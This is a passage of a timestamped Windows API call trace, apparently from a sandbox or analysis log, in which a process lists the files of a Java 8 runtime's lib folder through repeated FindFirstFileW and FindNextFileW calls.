lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0082.033] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0082.034] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0082.035] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0082.035] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0082.035] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0082.035] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0082.035] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0082.035] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0082.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c760) returned 1 [0082.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c720) returned 1 [0082.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c820) returned 1 [0082.036] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib", nBufferLength=0x105, lpBuffer=0x1f49c2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib", lpFilePart=0x0) returned 0x26 [0082.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x1f49c540 | out: lpFindFileData=0x1f49c540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0082.037] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.037] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0082.037] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0082.037] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0082.037] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0082.038] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0082.039] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0082.040] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49c500 | out: lpFindFileData=0x1f49c500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0082.041] FindNextFileW (in: hFindFile=0x1ec1dc40, 